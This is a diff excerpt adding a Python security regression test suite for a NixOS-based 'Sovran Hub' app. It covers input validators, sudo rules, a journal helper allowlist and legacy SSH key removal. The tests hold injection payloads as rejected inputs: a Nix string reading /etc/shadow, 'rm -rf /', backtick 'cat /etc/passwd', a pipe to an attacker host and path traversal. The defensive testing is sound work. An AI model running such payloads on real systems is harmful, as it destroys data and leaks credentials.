+        { command = "/run/current-system/sw/bin/python3 /etc/sovran/sovran-journal-helper.py *"; options = [ "NOPASSWD" ]; }
       ];
     }
   ];

tests/test_security.py

@@ -0,0 +1,922 @@
+"""Security regression tests for Sovran Hub security helpers.
+
+Tests exercise the exact production implementations — no helpers are
+redefined or simulated here.  Every test calls the deployed code.
+
+Tests must never:
+  - reboot, rebuild, or alter real SSH keys
+  - access the network
+  - write to system paths
+"""
+
+import base64
+import json
+import os
+import sys
+import tempfile
+import unittest
+
+# Add the app package to the path so we can import without the full FastAPI tree.
+_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
+_APP_PARENT = os.path.join(_REPO_ROOT, "app")
+if _APP_PARENT not in sys.path:
+    sys.path.insert(0, _APP_PARENT)
+
+from sovran_systemsos_web.security_helpers import (  # noqa: E402
+    _nix_escape,
+    NPUB_RE,
+    _validate_npub,
+    _validate_ddns_url,
+    _validate_ssh_pubkey,
+    _DDNS_ALLOWED_HOSTNAMES,
+    _bech32_decode,
+)
+from sovran_systemsos_web import support_ops  # noqa: E402
+
+
+# ---------------------------------------------------------------------------
+# Nix string escaping
+# ---------------------------------------------------------------------------
+
+class TestNixEscape(unittest.TestCase):
+    """_nix_escape must prevent injection into Nix string literals."""
+
+    def test_double_quotes_escaped(self):
+        self.assertEqual(_nix_escape('"hello"'), '\\"hello\\"')
+
+    def test_backslash_escaped(self):
+        self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
+
+    def test_nix_interpolation_escaped(self):
+        self.assertEqual(_nix_escape("${evil}"), "\\${evil}")
+
+    def test_newline_escaped(self):
+        self.assertEqual(_nix_escape("a\nb"), "a\\nb")
+
+    def test_carriage_return_escaped(self):
+        self.assertEqual(_nix_escape("a\rb"), "a\\rb")
+
+    def test_tab_escaped(self):
+        self.assertEqual(_nix_escape("a\tb"), "a\\tb")
+
+    def test_semicolons_unchanged(self):
+        self.assertEqual(_nix_escape("a;b"), "a;b")
+
+    def test_valid_timezone(self):
+        self.assertEqual(_nix_escape("America/New_York"), "America/New_York")
+
+    def test_injection_payload_quotes_and_interpolation(self):
+        payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
+        result = _nix_escape(payload)
+        import re as _re
+        self.assertIsNone(_re.search(r'(?<!\\)\$\{', result))
+
+    def test_npub_injection(self):
+        payload = 'npub1aaa"; extraUsers.evil.isNormalUser = true; #'
+        result = _nix_escape(payload)
+        self.assertNotIn('"', result.replace('\\"', ""))
+
+
+# ---------------------------------------------------------------------------
+# Nostr npub validation — regex pre-filter
+# ---------------------------------------------------------------------------
+
+class TestNpubValidationRegex(unittest.TestCase):
+    """NPUB_RE must enforce the npub1 + 58 lowercase bech32 shape."""
+
+    # 58 bech32 chars after "npub1"
+    VALID_SHAPE = "npub1" + "q" * 58
+
+    def test_valid_shape_accepted(self):
+        self.assertIsNotNone(NPUB_RE.fullmatch(self.VALID_SHAPE))
+
+    def test_wrong_prefix_rejected(self):
+        self.assertIsNone(NPUB_RE.fullmatch("nsec1" + "q" * 58))
+
+    def test_too_short_rejected(self):
+        self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 57))
+
+    def test_too_long_rejected(self):
+        self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
+
+    def test_uppercase_rejected(self):
+        self.assertIsNone(NPUB_RE.fullmatch("NPUB1" + "q" * 58))
+
+    def test_injection_quote_rejected(self):
+        self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
+
+    def test_injection_interpolation_rejected(self):
+        self.assertIsNone(NPUB_RE.fullmatch("npub1" + "${" + "q" * 52))
+
+
+# ---------------------------------------------------------------------------
+# Nostr npub validation — full bech32
+# ---------------------------------------------------------------------------
+
+class TestNpubBech32Validation(unittest.TestCase):
+    """_validate_npub must verify the full bech32 checksum and payload length."""
+
+    BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
+
+    def _make_npub(self, payload_bytes: bytes) -> str | None:
+        """Build a syntactically valid npub from raw 32-byte payload."""
+        from sovran_systemsos_web.security_helpers import (
+            _bech32_hrp_expand,
+            _bech32_polymod,
+            _bech32_create_checksum,
+        )
+
+        def _convertbits(data, frombits, tobits, pad=True):
+            acc, bits, ret, maxv = 0, 0, [], (1 << tobits) - 1
+            for value in data:
+                acc = ((acc << frombits) | value)
+                bits += frombits
+                while bits >= tobits:
+                    bits -= tobits
+                    ret.append((acc >> bits) & maxv)
+            if pad and bits:
+                ret.append((acc << (tobits - bits)) & maxv)
+            return ret
+
+        hrp = "npub"
+        data5 = _convertbits(list(payload_bytes), 8, 5)
+        checksum = _bech32_create_checksum(hrp, data5)
+        full = data5 + checksum
+        return hrp + "1" + "".join(self.BECH32_CHARSET[d] for d in full)
+
+    def test_valid_npub_passes_bech32(self):
+        npub = self._make_npub(bytes(32))
+        self.assertIsNotNone(npub)
+        self.assertTrue(_validate_npub(npub))
+
+    def test_bech32_decode_returns_32_bytes(self):
+        npub = self._make_npub(b'\x01' * 32)
+        result = _bech32_decode(npub)
+        self.assertIsNotNone(result)
+        hrp, payload = result
+        self.assertEqual(hrp, "npub")
+        self.assertEqual(len(payload), 32)
+
+    def test_corrupted_checksum_rejected(self):
+        npub = self._make_npub(bytes(32))
+        # Flip last character in the data part
+        corrupted = npub[:-1] + ("q" if npub[-1] != "q" else "p")
+        self.assertFalse(_validate_npub(corrupted))
+
+    def test_mixed_case_rejected(self):
+        npub = self._make_npub(bytes(32))
+        mixed = npub[:10].upper() + npub[10:]
+        self.assertFalse(_validate_npub(mixed))
+
+    def test_wrong_hrp_rejected(self):
+        self.assertFalse(_validate_npub("nsec1" + "q" * 58))
+
+    def test_synthetic_all_q_rejected_by_checksum(self):
+        self.assertFalse(_validate_npub("npub1" + "q" * 58))
+
+
+# ---------------------------------------------------------------------------
+# DDNS URL validation
+# ---------------------------------------------------------------------------
+
+class TestDdnsUrlValidation(unittest.TestCase):
+    """_validate_ddns_url must enforce all security constraints."""
+
+    # VALID_URL has no ${IP}: callers must substitute before validation.
+    VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=1.2.3.4"
+
+    def test_valid_njalla_url_accepted(self):
+        self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
+
+    def test_www_njalla_accepted(self):
+        url = "https://www.njal.la/update/?h=test&k=TOKEN"
+        self.assertEqual(_validate_ddns_url(url), url)
+
+    def test_http_scheme_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("http://njal.la/update/?k=TOKEN")
+
+    def test_ftp_scheme_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("ftp://njal.la/update/?k=TOKEN")
+
+    def test_credentials_in_url_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("******njal.la/update/?k=TOKEN")
+
+    def test_fragment_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://njal.la/update/?k=TOKEN#frag")
+
+    def test_raw_ip_host_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://1.2.3.4/update/?k=TOKEN")
+
+    def test_non_standard_port_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://njal.la:8443/update/?k=TOKEN")
+
+    def test_control_character_newline_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://njal.la/update/?k=TOKEN\n")
+
+    def test_control_character_null_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://njal.la/update/?k=\x00TOKEN")
+
+    def test_percent_encoded_null_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://njal.la/update/?k=TOKEN%00")
+
+    def test_localhost_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://localhost/update/?k=TOKEN")
+
+    def test_127_0_0_1_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
+
+    def test_arbitrary_public_hostname_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://example.com/update/?k=TOKEN")
+
+    def test_attacker_host_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://attacker.njal.la/update/?k=TOKEN")
+
+    def test_metadata_endpoint_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://169.254.169.254/update/?k=TOKEN")
+
+    def test_empty_url_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("")
+
+    def test_too_long_rejected(self):
+        long_url = "https://njal.la/update/?" + "k=" + "x" * 3000
+        with self.assertRaises(ValueError):
+            _validate_ddns_url(long_url)
+
+    def test_allowed_hostnames_set(self):
+        self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
+        self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
+        self.assertNotIn("attacker.njal.la", _DDNS_ALLOWED_HOSTNAMES)
+        self.assertNotIn("localhost", _DDNS_ALLOWED_HOSTNAMES)
+
+    def test_dollar_expression_rejected(self):
+        """$ in a validated URL is rejected; callers must substitute ${IP} first."""
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://njal.la/update/?h=test&k=TOKEN&a=${IP}")
+
+    def test_wrong_path_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ddns_url("https://njal.la/api/?k=TOKEN")
+
+    def test_exact_update_path_accepted(self):
+        url = "https://njal.la/update/?h=host.example.com&k=TOKEN"
+        self.assertEqual(_validate_ddns_url(url), url)
+
+
+# ---------------------------------------------------------------------------
+# SSH public-key validation
+# ---------------------------------------------------------------------------
+
+class TestSshPubkeyValidation(unittest.TestCase):
+    """_validate_ssh_pubkey must accept only valid single-line OpenSSH public keys."""
+
+    VALID_ED25519 = (
+        "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host"
+    )
+
+    def test_valid_ed25519_accepted(self):
+        result = _validate_ssh_pubkey(self.VALID_ED25519)
+        self.assertEqual(result, self.VALID_ED25519)
+
+    def test_unsupported_algorithm_rsa_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ssh_pubkey("ssh-rsa AAAAB3NzaC1yc2EAAAA user@host")
+
+    def test_dss_algorithm_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ssh_pubkey("ssh-dss AAAAB3NzaC1kc3MAAA user@host")
+
+    def test_multiline_injection_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ssh_pubkey(self.VALID_ED25519 + "\necho pwned")
+
+    def test_options_prefix_not_accepted(self):
+        with self.assertRaises(ValueError):
+            _validate_ssh_pubkey('command="ls" ' + self.VALID_ED25519)
+
+    def test_empty_key_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ssh_pubkey("")
+
+    def test_control_character_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ssh_pubkey("ssh-ed25519 AAAA\x00 user@host")
+
+    def test_malformed_base64_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ssh_pubkey("ssh-ed25519 not-valid-base64!!! user@host")
+
+    def test_too_short_payload_rejected(self):
+        short_b64 = base64.b64encode(b"\x00" * 10).decode()
+        with self.assertRaises(ValueError):
+            _validate_ssh_pubkey(f"ssh-ed25519 {short_b64} user@host")
+
+    def test_missing_key_body_rejected(self):
+        with self.assertRaises(ValueError):
+            _validate_ssh_pubkey("ssh-ed25519")
+
+
+# ---------------------------------------------------------------------------
+# Auth-exempt paths
+# ---------------------------------------------------------------------------
+
+class TestAuthExemptPaths(unittest.TestCase):
+    """/api/reboot and status endpoints must not be in the auth-exempt set."""
+
+    def _get_exempt_paths(self):
+        import re
+        src = open(
+            os.path.join(_REPO_ROOT, "app", "sovran_systemsos_web", "server.py")
+        ).read()
+        m = re.search(r"_AUTH_EXEMPT_PATHS\s*=\s*\{([^}]*)\}", src)
+        self.assertIsNotNone(m, "_AUTH_EXEMPT_PATHS not found in server.py")
+        return {p.strip().strip('"') for p in m.group(1).split(",") if p.strip().strip('"')}
+
+    def test_reboot_not_exempt(self):
+        self.assertNotIn("/api/reboot", self._get_exempt_paths())
+
+    def test_updates_status_not_exempt(self):
+        self.assertNotIn("/api/updates/status", self._get_exempt_paths())
+
+    def test_rebuild_status_not_exempt(self):
+        self.assertNotIn("/api/rebuild/status", self._get_exempt_paths())
+
+    def test_login_still_exempt(self):
+        self.assertIn("/api/login", self._get_exempt_paths())
+
+    def test_ping_still_exempt(self):
+        self.assertIn("/api/ping", self._get_exempt_paths())
+
+
+# ---------------------------------------------------------------------------
+# tech-support.nix validation
+# ---------------------------------------------------------------------------
+
+class TestTechSupportSudoRules(unittest.TestCase):
+    """tech-support.nix must not grant broad privileges."""
+
+    def _get_nix_content(self):
+        path = os.path.join(_REPO_ROOT, "modules", "core", "tech-support.nix")
+        with open(path) as f:
+            return f.read()
+
+    def test_no_nano_custom_nix(self):
+        self.assertNotIn("nano /etc/nixos/custom.nix", self._get_nix_content())
+
+    def test_no_nano_configuration_nix(self):
+        self.assertNotIn("nano /etc/nixos/configuration.nix", self._get_nix_content())
+
+    def test_no_unrestricted_nixos_rebuild(self):
+        self.assertNotIn("nixos-rebuild switch", self._get_nix_content())
+
+    def test_no_wildcard_systemctl_restart(self):
+        self.assertNotIn("systemctl restart *", self._get_nix_content())
+
+    def test_journalctl_wildcard_removed(self):
+        """The bare 'journalctl *' sudo rule must be gone."""
+        content = self._get_nix_content()
+        self.assertNotIn('"/run/current-system/sw/bin/journalctl *"', content)
+        self.assertNotIn("journalctl *", content.replace("journal-helper", ""))
+
+    def test_journal_helper_referenced(self):
+        """The restricted journal helper must be referenced instead."""
+        content = self._get_nix_content()
+        self.assertIn("sovran-journal-helper", content)
+
+    def test_sovran_hub_web_service_referenced(self):
+        """tech-support.nix must reference sovran-hub-web.service, not the nonexistent sovran-hub.service."""
+        content = self._get_nix_content()
+        self.assertIn("sovran-hub-web.service", content)
+        self.assertNotIn('"sovran-hub.service"', content)
+
+
+# ---------------------------------------------------------------------------
+# Journal helper — unit allowlist validation
+# ---------------------------------------------------------------------------
+
+class TestJournalHelper(unittest.TestCase):
+    """The restricted journal helper must enforce the explicit unit allowlist."""
+
+    def _run_helper(self, args):
+        """Run the helper script and return (returncode, stderr)."""
+        import subprocess
+        helper = os.path.join(_REPO_ROOT, "modules", "core", "sovran-journal-helper.py")
+        result = subprocess.run(
+            [sys.executable, helper] + args,
+            capture_output=True, text=True,
+        )
+        return result.returncode, result.stderr
+
+    # ── Allowlisted units ──
+    def test_sovran_hub_web_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "sovran-hub-web.service"])
+        self.assertNotIn("rejected", stderr)
+
+    def test_caddy_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "caddy.service"])
+        self.assertNotIn("rejected", stderr)
+
+    def test_bitcoind_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "bitcoind.service"])
+        self.assertNotIn("rejected", stderr)
+
+    def test_lnd_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "lnd.service"])
+        self.assertNotIn("rejected", stderr)
+
+    # ── Rejected units ──
+    def test_unapproved_service_rejected(self):
+        rc, stderr = self._run_helper(["--unit", "sshd.service"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+    def test_old_sovran_hub_service_rejected(self):
+        """The old nonexistent sovran-hub.service must now be rejected."""
+        rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+    def test_directory_flag_rejected(self):
+        rc, stderr = self._run_helper(["--directory", "/var/log"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+    def test_arbitrary_path_rejected(self):
+        rc, stderr = self._run_helper(["/etc/passwd"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+    def test_file_flag_rejected(self):
+        rc, stderr = self._run_helper(["--file", "/var/log/journal/foo"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+    def test_no_args_rejected(self):
+        """Whole-journal queries (no --unit) must be rejected."""
+        rc, stderr = self._run_helper([])
+        self.assertNotEqual(rc, 0)
+        # Should mention --unit requirement
+        self.assertIn("unit", stderr.lower())
+
+    def test_lines_only_no_unit_rejected(self):
+        """--lines without --unit is a whole-journal query and must be rejected."""
+        rc, stderr = self._run_helper(["--lines", "50"])
+        self.assertNotEqual(rc, 0)
+
+    def test_lines_flag_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
+        self.assertNotIn("rejected", stderr)
+
+    def test_lines_too_large_rejected(self):
+        rc, stderr = self._run_helper(["--lines", "99999"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+    def test_negative_lines_rejected(self):
+        rc, stderr = self._run_helper(["--lines", "-1"])
+        self.assertNotEqual(rc, 0)
+
+    def test_since_with_valid_date_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "caddy.service", "--since", "2024-01-01"])
+        self.assertNotIn("rejected", stderr)
+
+    def test_since_with_path_rejected(self):
+        rc, stderr = self._run_helper(["--since", "/etc/passwd"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+    def test_output_short_accepted(self):
+        rc, stderr = self._run_helper(["--unit", "caddy.service", "--output", "short"])
+        self.assertNotIn("rejected", stderr)
+
+    def test_output_arbitrary_rejected(self):
+        rc, stderr = self._run_helper(["--output", "export --to /tmp/out"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+    def test_invalid_unit_name_rejected(self):
+        rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+    def test_unit_without_suffix_rejected(self):
+        rc, stderr = self._run_helper(["--unit", "caddy"])
+        self.assertNotEqual(rc, 0)
+        self.assertIn("rejected", stderr)
+
+
+# ---------------------------------------------------------------------------
+# Legacy Njalla migration — production-backed tests
+# ---------------------------------------------------------------------------
+
+class TestNjallaLegacyMigration(unittest.TestCase):
+    """migrate_legacy_njalla_script must not execute or preserve malicious content.
+
+    All tests call the exact production implementation from support_ops with
+    temporary files; no logic is duplicated here.
+    """
+
+    def _run_migration(self, script_content: str) -> tuple[list[str], bool]:
+        """Run the production migration against temp files, return (urls, script_archived)."""
+        captured_urls: list[str] = []
+        saved = [False]
+
+        def _load():
+            return []
+
+        def _save(urls):
+            captured_urls.extend(urls)
+            saved[0] = True
+
+        with tempfile.TemporaryDirectory() as tmpdir:
+            script_path = os.path.join(tmpdir, "njalla.sh")
+            with open(script_path, "w") as f:
+                f.write(script_content)
+            os.chmod(script_path, 0o755)
+
+            support_ops.migrate_legacy_njalla_script(
+                script_path,
+                _validate_ddns_url,
+                _save,
+                _load,
+            )
+
+            archived = oct(os.stat(script_path).st_mode)[-3:] == "000"
+        return captured_urls, archived
+
+    def test_valid_unquoted_curl_line_extracted(self):
+        script = (
+            "#!/usr/bin/env bash\n"
+            "IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
+            "curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
+        )
+        urls, archived = self._run_migration(script)
+        self.assertEqual(len(urls), 1)
+        self.assertIn("njal.la", urls[0])
+        self.assertTrue(archived, "script should be archived after successful migration")
+
+    def test_valid_quoted_curl_line_extracted(self):
+        """Historical quoted form: curl \"https://njal.la/...\" must be parsed."""
+        script = (
+            "#!/usr/bin/env bash\n"
+            'curl "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"\n'
+        )
+        urls, archived = self._run_migration(script)
+        self.assertEqual(len(urls), 1, "quoted URL must be extracted")
+        self.assertIn("njal.la", urls[0])
+
+    def test_command_injection_not_extracted(self):
+        script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_backtick_injection_not_extracted(self):
+        script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_pipe_injection_not_extracted(self):
+        script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_dollar_injection_not_extracted(self):
+        script = "curl https://njal.la/update/?k=$(evil_command)\n"
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_non_njalla_url_not_extracted(self):
+        script = "curl https://attacker.example.com/update/?k=TOKEN\n"
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_http_url_not_extracted(self):
+        script = "curl http://njal.la/update/?k=TOKEN\n"
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_semicolons_in_url_not_extracted(self):
+        script = "curl https://njal.la/update/?k=TOKEN;echo evil\n"
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_newline_injection_not_extracted(self):
+        script = 'curl "https://njal.la/update/?k=TOKEN\necho evil"\n'
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_malformed_quotes_not_extracted(self):
+        """Half-open quote must not match."""
+        script = 'curl "https://njal.la/update/?k=TOKEN\n'
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_failed_persistence_leaves_script_untouched(self):
+        """If save_fn raises, the script must NOT be archived."""
+        def _fail_save(urls):
+            raise OSError("disk full")
+
+        with tempfile.TemporaryDirectory() as tmpdir:
+            script_path = os.path.join(tmpdir, "njalla.sh")
+            script_content = (
+                "#!/usr/bin/env bash\n"
+                "curl https://njal.la/update/?h=test&k=TOKEN\n"
+            )
+            with open(script_path, "w") as f:
+                f.write(script_content)
+            os.chmod(script_path, 0o755)
+
+            support_ops.migrate_legacy_njalla_script(
+                script_path,
+                _validate_ddns_url,
+                _fail_save,
+                lambda: [],
+            )
+
+            # Script must still be executable (not archived)
+            mode = oct(os.stat(script_path).st_mode)[-3:]
+            self.assertNotEqual(mode, "000", "script must not be archived when persistence fails")
+
+
+# ---------------------------------------------------------------------------
+# Legacy root key removal — production-backed tests
+# ---------------------------------------------------------------------------
+
+class TestLegacyRootKeyRemoval(unittest.TestCase):
+    """remove_legacy_root_key must remove only the exact historical key blob.
+
+    All tests call the exact production implementation from support_ops with
+    temporary files; no simulation is used.
+    """
+
+    TARGET_BLOB = support_ops.LEGACY_ROOT_KEY_BLOB
+
+    def _do_removal(self, file_content: str) -> tuple[bool, str]:
+        """Run production key removal, return (changed, result_content)."""
+        with tempfile.TemporaryDirectory() as tmpdir:
+            auth_keys = os.path.join(tmpdir, "authorized_keys")
+            with open(auth_keys, "w") as f:
+                f.write(file_content)
+            changed = support_ops.remove_legacy_root_key(auth_keys, self.TARGET_BLOB)
+            with open(auth_keys) as f:
+                result = f.read()
+        return changed, result
+
+    def test_exact_historical_key_removed(self):
+        """The exact historical key must be removed regardless of comment."""
+        lines = (
+            "ssh-ed25519 AAAA admin@host\n"
+            f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
+            "ssh-ed25519 CCCC another@host\n"
+        )
+        changed, result = self._do_removal(lines)
+        self.assertTrue(changed)
+        self.assertNotIn(self.TARGET_BLOB, result)
+        self.assertIn("admin@host", result)
+        self.assertIn("another@host", result)
+
+    def test_same_comment_different_blob_preserved(self):
+        """A key with 'free@nixos' comment but different blob must NOT be removed."""
+        lines = (
+            "ssh-ed25519 DIFFERENTBLOB free@nixos\n"
+        )
+        changed, result = self._do_removal(lines)
+        self.assertFalse(changed)
+        self.assertIn("DIFFERENTBLOB", result)
+
+    def test_legacy_key_with_different_comment_removed(self):
+        """The exact blob with any comment (or no comment) must be removed."""
+        lines = f"ssh-ed25519 {self.TARGET_BLOB} some-other-comment\n"
+        changed, result = self._do_removal(lines)
+        self.assertTrue(changed)
+        self.assertNotIn(self.TARGET_BLOB, result)
+
+    def test_unrelated_keys_preserved(self):
+        lines = "ssh-ed25519 AAAA admin@host\nssh-ed25519 CCCC another@host\n"
+        changed, result = self._do_removal(lines)
+        self.assertFalse(changed)
+        self.assertEqual(result, lines)
+
+    def test_empty_file_unchanged(self):
+        changed, result = self._do_removal("")
+        self.assertFalse(changed)
+        self.assertEqual(result, "")
+
+    def test_comment_line_preserved(self):
+        lines = "# authorized keys\nssh-ed25519 AAAA admin@host\n"
+        changed, result = self._do_removal(lines)
+        self.assertFalse(changed)
+        self.assertEqual(result, lines)
+
+    def test_missing_file_returns_false(self):
+        result = support_ops.remove_legacy_root_key("/nonexistent/path", self.TARGET_BLOB)
+        self.assertFalse(result)
+
+    def test_audit_callback_called(self):
+        events = []
+        lines = f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
+        with tempfile.TemporaryDirectory() as tmpdir:
+            auth_keys = os.path.join(tmpdir, "authorized_keys")
+            with open(auth_keys, "w") as f:
+                f.write(lines)
+            support_ops.remove_legacy_root_key(
+                auth_keys, self.TARGET_BLOB,
+                audit_fn=lambda event, details="": events.append(event),
+            )
+        self.assertIn("LEGACY_ROOT_KEY_REMOVED", events)
+
+
+# ---------------------------------------------------------------------------
+# Support session expiry — production-backed tests
+# ---------------------------------------------------------------------------
+
+class TestSupportSessionExpiration(unittest.TestCase):
+    """expire_if_stale must enforce expiry and the session_id guard.
+
+    All tests call the exact production implementation from support_ops with
+    temporary files and injectable clock/disable functions.
+    """
+
+    def _write_session(self, tmpdir, **fields) -> str:
+        status_file = os.path.join(tmpdir, "support-session-status")
+        with open(status_file, "w") as f:
+            json.dump(fields, f)
+        return status_file
+
+    def test_future_expiry_not_expired(self):
+        import time
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, expires_at=time.time() + 3600)
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+            )
+        self.assertFalse(result)
+        self.assertFalse(disabled[0])
+
+    def test_past_expiry_expired(self):
+        import time
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, expires_at=time.time() - 1)
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+            )
+        self.assertTrue(result)
+        self.assertTrue(disabled[0])
+
+    def test_no_expiry_recent_session_not_expired(self):
+        import time
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, enabled_at=time.time() - 100)
+            result = support_ops.expire_if_stale(sf, clock_fn=time.time)
+        self.assertFalse(result)
+
+    def test_no_expiry_old_session_expired(self):
+        import time
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, enabled_at=time.time() - 86401)
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+            )
+        self.assertTrue(result)
+        self.assertTrue(disabled[0])
+
+    def test_session_id_guard_matching_expires(self):
+        """Timer with matching session_id must expire the session."""
+        import time
+        sid = "test-session-id"
+        exp = time.time() - 1
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, session_id=sid, expires_at=exp)
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+                session_id=sid,
+                expected_expiry=exp,
+            )
+        self.assertTrue(result)
+        self.assertTrue(disabled[0])
+
+    def test_stale_timer_does_not_revoke_replacement_session(self):
+        """A timer for an old session must not revoke a newer replacement session."""
+        import time
+        old_sid = "old-session"
+        new_sid = "new-session"
+        exp = time.time() - 1
+        with tempfile.TemporaryDirectory() as tmpdir:
+            # Current session has the NEW session id
+            sf = self._write_session(tmpdir, session_id=new_sid, expires_at=exp)
+            disabled = [False]
+            # Timer fires with OLD session id
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+                session_id=old_sid,  # stale — doesn't match stored new_sid
+                expected_expiry=exp,
+            )
+        self.assertFalse(result, "stale timer must not revoke replacement session")
+        self.assertFalse(disabled[0])
+
+    def test_stale_expiry_mismatch_does_not_revoke(self):
+        """A timer with mismatched expected_expiry must not revoke."""
+        import time
+        sid = "same-sid"
+        exp = time.time() - 1
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, session_id=sid, expires_at=exp + 999)
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+                session_id=sid,
+                expected_expiry=exp,  # differs from stored exp+999
+            )
+        self.assertFalse(result)
+        self.assertFalse(disabled[0])
+
+    def test_startup_reconciliation_with_live_session(self):
+        """On startup, a live session must not be expired."""
+        import time
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, expires_at=time.time() + 3600, session_id="live")
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+            )
+        self.assertFalse(result)
+        self.assertFalse(disabled[0])
+
+    def test_audit_callback_receives_support_expired_event(self):
+        import time
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, expires_at=time.time() - 1)
+            events = []
